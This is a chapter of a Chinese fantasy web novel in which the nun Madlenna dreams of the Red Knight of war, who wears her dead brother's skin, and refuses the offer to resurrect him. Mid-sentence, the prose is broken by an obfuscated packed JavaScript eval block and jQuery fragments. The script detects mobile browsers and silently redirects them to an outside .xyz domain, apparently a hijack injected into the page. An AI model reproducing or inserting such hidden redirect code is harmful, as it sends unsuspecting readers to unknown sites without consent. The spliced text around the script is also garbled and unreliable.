人们被血水分离,子女与父母生疏,妻子同丈夫反目,人的仇敌乃是过去的血肉至亲。在血里的人想把那岸上的也拉入血里,在岸上人的要将血中的捞回岸上。
地上哭叫不断,拥阻难行。
于是,羔羊揭开了第二道印。
雷鸣再临,那声音说:“来!”
那第二骑就坠落地上,是红的,将碰触过的一切云与雾,土与水都染红,比地上所有的血更纯,比世间所有的火更浓。这一骑被赐了长刀,此刀为祂的庇佑,祂的警醒,可从地上夺去太平,使世间动刀兵。
人们见了这刀就要明了,切勿惧怕,只因忠诚的与不忠的必将分离。
——————————————————————
红龙在天上徘徊,第一圈,它掀起狂风,将房顶与断墙卷走,床边的男人与矮妖被吹到天上再无踪影,玛德兰娜的身体也脱离地面,被黑鸟们拽住才没被彻底卷上天去。
第二圈,它七个头颅喷吐火焰,点燃苍穹,如血的火星落到玛德兰娜身旁,燃烧她的头发与衣裙。
第三圈,黑夜被焚,白日再临。玛德兰娜的长发被烧短,身上精细光滑的丝裙缎带也不复存在,她又穿回了修道袍。玛德兰娜想起,这已是她见到的第二位“末日骑士”,而她也又长大七岁,不再是少女,这七年的开头,她来到了迷宫城,这七年的最后,她来到了兄长过世时的年纪。
她想起,自己的哥哥,已经死去七年了。
红龙俯冲落地,最中间的那颗头咬住已经是废墟的地板一角,随之而来的狂风热浪淹没一切。
玛德兰娜看着龙背上猩红色的人影缓缓站立,绷带,不,一整层人皮都被风吹起,膨大,最后化为一袭猩红与漆黑交杂的华袍。那人低头,其双手变得光滑细致,握住了脖子间的剪刀。
剪刀被抽了出来,在脖上留下孔洞,刹那间血流如注,喷出的血一大半附着于剪刀上,白铁化开和鲜血融为一体,形成一柄长刀,刀锋如熔浆一般流淌且炙热,另外的血被风刮走飞到龙头顶端,环作圈,如同为其加冕的王冠。
血止住了,那人披着人皮的红袍,拖着铁与血的长刀,一脚一脚踩过红龙的背脊,顺着中间的龙头,来到已是断壁残垣的屋中,来到玛德兰娜眼前。
玛德兰娜见到,从她兄长的皮囊中走出的第二位“末日使者”,红骑士,她秀发乌黑,薄肩长颈,拥有撒拉森人小麦一样的皮肤,容貌娇艳炫目至极,她的双眼也如第一位骑士那样,黑色的血丝中央缀着裂缝一般的瞳孔。
司掌战争的骑士,是个女人。
墙角的座钟倒在瓦砾里,钟摆被折断,秒针静止,但分针与时针却飞旋狂转。七只黑鸟鼓起羽毛惊声尖叫,红骑士垂眼看着它们,含笑开口,露出小巧尖锐的犬齿,口吐玛德兰娜从未听过的音节组合,由缓到急又再次变缓,宛如异国用贝壳腕铃配乐的舞曲,以此祭祀上天,叫狂风停歇。
红骑士优雅地摆臂,熔浆之刃甩出几滴,落在黑鸟们的羽毛上,红龙的七个头颅仰天长啸,而后接二连三地砸到地上将黑鸟吞吃入腹。
“不……住手!”玛德兰娜下意识地抓握右手,但没有摸到法杖,她怔怔地望着自己空无一物的手心,这才想起自己仍在梦中。
红骑士饶有兴趣地看着玛德兰娜徒劳的举动,当最后一只挣扎的黑鸟也被吞下之时,她轻轻歪头,右眼裂缝中燃起一团火,淬炼她的眼球,火光散去,红骑士的右眼变成了深蓝色。
和玛德兰娜一样,和玛德兰娜的兄长也相同。
“好,”红骑士再开口,这次是玛德兰娜熟知的人类的语言,女声中混杂另一种破碎突兀的音色,她兄长的嗓音,“终于安静下来了。”
“你真是结交了一些吵闹的小伙伴,对不对?玛德琳?”
玛德琳,玛德琳,这几个发音全是她哥哥的,玛德兰娜仿佛被这个由过去坠落的呼唤砸中,她低下头,咬牙从地上站了起来。
“那封信,是你写的吗?你,你们到底是谁?是什么?”玛德兰娜直视着红骑士。
“很失望吗?”红骑士答非所问,但好像又洞悉了她的所有,“但我可以让你见他。让他再活过来。就如你希望的那样。”
“我不想见他。”
“谎言。”红骑士微笑,眯起两只颜色不同的眼睛,直立手中的长刀,刀锋所指的龙头开始呕吐,它吐出无数具躯体,从年幼到成人,都是玛德兰娜记忆中的兄长,他们一一坠地,摞成堆,燃烧起来,最终变得满身焦黑鲜血淋漓。
“因为,我知晓,”红骑士与兄长低缓的嗓音围绕着她,“你们的祷告,你们的噩梦,你们的泪水,你们的苦痛。”
“我应你们的呼召而来,将祂的气息吹到骸骨里,叫被杀的活过来。”
玛德兰娜看着她,很久很久,最后才喃喃地,用小到好像只有自己才听得见的声音说。
“不。”
她的哥哥像他第一个父亲那样,了结了自己。那之后,她向自己的每一个家人,葬礼上的每一个来客说谎,说自己的哥哥死于意外,遗骸被好心人带回了家。
生与死都不是凡人的权能,自杀是对祂的篡权,乃是这个世间的大罪,那灵魂将无缘迈过通往天国的窄门,堕入地狱无边的硫磺火池。
于是她说谎盖住了他伤横累累的脖子,维护家人与他最后的尊严。
他被谎言送离人间,就像当初被谎言带到了世上一般。
“不,”玛德兰娜说,这辈子第一次用自己的声音揭开那一天的真相,“我的哥哥不是被杀的。”
“但,在那之前呢?”红骑士依旧眉眼含笑,轻唱出诱惑的言语,“你并没有见到的那些岁月里,他是如何变成那副模样的呢?”
“玛德琳,你不是为了拯救他的灵魂才穿上这身衣裳,来到这座城,日夜不断向祂祷告吗?”
玛德兰娜感到脸上发凉,她用手碰触自己的脸,没有摸到泪水,但她知道自己应当是哭了,在另一个世界,在那些等待着自己醒来的人面前。
她离家的那天也是一样。
她的父母的泪水好像也源源不断,“我们早该知道,这是惩罚,祂取走了他,也要取走你。”但玛德兰娜明白这泪水总是会停的,几年,十几年,几十年之后,佣人们进入变成客房的她兄长的卧室,重新抚平床单,日光照入窗台,花园再一次盛放月季。
每到夏日,他们家的舞厅又会盛满花朵一般的裙摆,伴着圆舞曲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091697|171158||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日夜旋转。
可她无法……无法,所以她才选择侍奉主,来到了迷宫城。
“不,”她又说,这次声音嘹亮,好似要飘至高空,“你其实什么也不明白。”
她哭过,许多许多次,为兄长的死,为自己的谎言,为父母的一无所知,为这个家每个人对主的不忠,但是————但是———
“我最痛苦的,”玛德兰娜一字一句,缓慢地展开自己最后的真相,“是那天他没能托付给我的,他最后试图请求的人,不是他的同伴,他的爱人,我们的父母,而是我。”
“可我辜负了他。”
他当时究竟想说些什么呢?已经无法知道了,哥哥最后的决断是拒绝再述说,这是给她的惩罚,也是上主所安排的命运注定的模样。
“玛德琳,他最后的愿望你不再想知道了吗?”红骑士仍旧微笑着,她手中的长刀缓缓流淌,“即便我们能让他活过来告诉你?”
“你们如果有这份的能耐,为什么不现在就告诉我?要大费周章把他复活?”玛德兰娜轻声问,“你们的‘复活’要把他变成什么?和你和你的同伴一样的东西吗?为此,又要我们付出什么代价?”
“长大了呢,玛德琳。”红骑士把眼眯得更细了,没有回答,也没有一丝被质问的恼怒,“是更软弱还是更傲慢了呢?”
“那么,这是最后一次,”红骑士后退几步,站到中央的龙头上,眼睛忽然陡睁,裂缝一般的瞳孔颤抖蠕动,女声与玛德兰娜兄长的嗓音齐鸣,“告诉我,你是否要背叛我主的恩赐怜悯!将那弃离主的灵魂又一次推入深渊!”
红龙又开始咆哮,天空雷鸣不断,晴空被电光撕碎,玛德兰娜抬头看着红龙高飞,红骑士手持的刀刃烧起通天的火柱。
“不!”玛德兰娜说,即便没有同伴,也没有任何防护自己的手段,她还是这样回答。
这些年,她时常在想,她究竟为什么会来迷宫城,是因承受不住自己的所为而逃来,还是真的想要靠近上主,借修行与祷告来换得祂的恩典,给她兄长她自己还有她的家人赎罪?即便他们的背叛已经注定,他的死已经注定,她的辜负也已经注定。世人只知道谎言的模样,最终连谎言都会遗忘。
但现在,此时此刻,她才终于明白,自己为什么会在这里。
“我的身上又有了新的嘱托。”现在的她不仅仅是父母的女儿,兄长的姊妹。
龙头甩动,狂风卷着火焰掠过她的面颊,玛德兰娜脚下的砖石开始一块块崩塌,坠入虚无的深渊。
“这次,我不能辜负他们。”
话音落下,红龙的七个头开始挣扎,它们嚎叫着彼此缠绕,好像要这样锁住某种东西,但并没有起效,红龙的脖子猛然胀大,嘴里的火焰熔浆被什么逼出淌落。
黑鸟们尖叫着从红龙胀圆的喉部破皮而出,于疾飞中甩开浑身的血与火。
它们飞向玛德兰娜,又一次衔住她的衣角裙摆。在玛德兰娜身体腾起的刹那,她脚下的最后一块砖坠落。
不知道过了多久,有什么在玛德兰娜耳边响起,比秒针更轻,比微风更缓,她睁开眼,原来是躺在自己身旁的矮妖们起身的声音。
终于,她从那漫长的梦里醒来了。